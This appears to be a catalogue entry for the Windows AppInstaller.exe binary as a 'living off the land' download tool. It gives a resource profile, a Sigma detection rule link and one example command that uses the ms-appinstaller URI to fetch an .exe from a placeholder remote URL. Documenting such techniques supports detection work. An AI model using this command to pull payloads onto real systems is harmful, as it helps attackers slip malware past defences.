Capabilities

network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: network_traffic

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	medium
Disk I/O	low

Examples

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache. (Download file from Internet)

start ms-appinstaller://?source={REMOTEURL:.exe}

Detection

Type	Rule / Indicator
sigma	https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml

Documentation

appinstaller

appinstaller is a Windows LOLBin. Tool used for installation of AppX/MSIX applications on Windows 10 Located at: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe.

References

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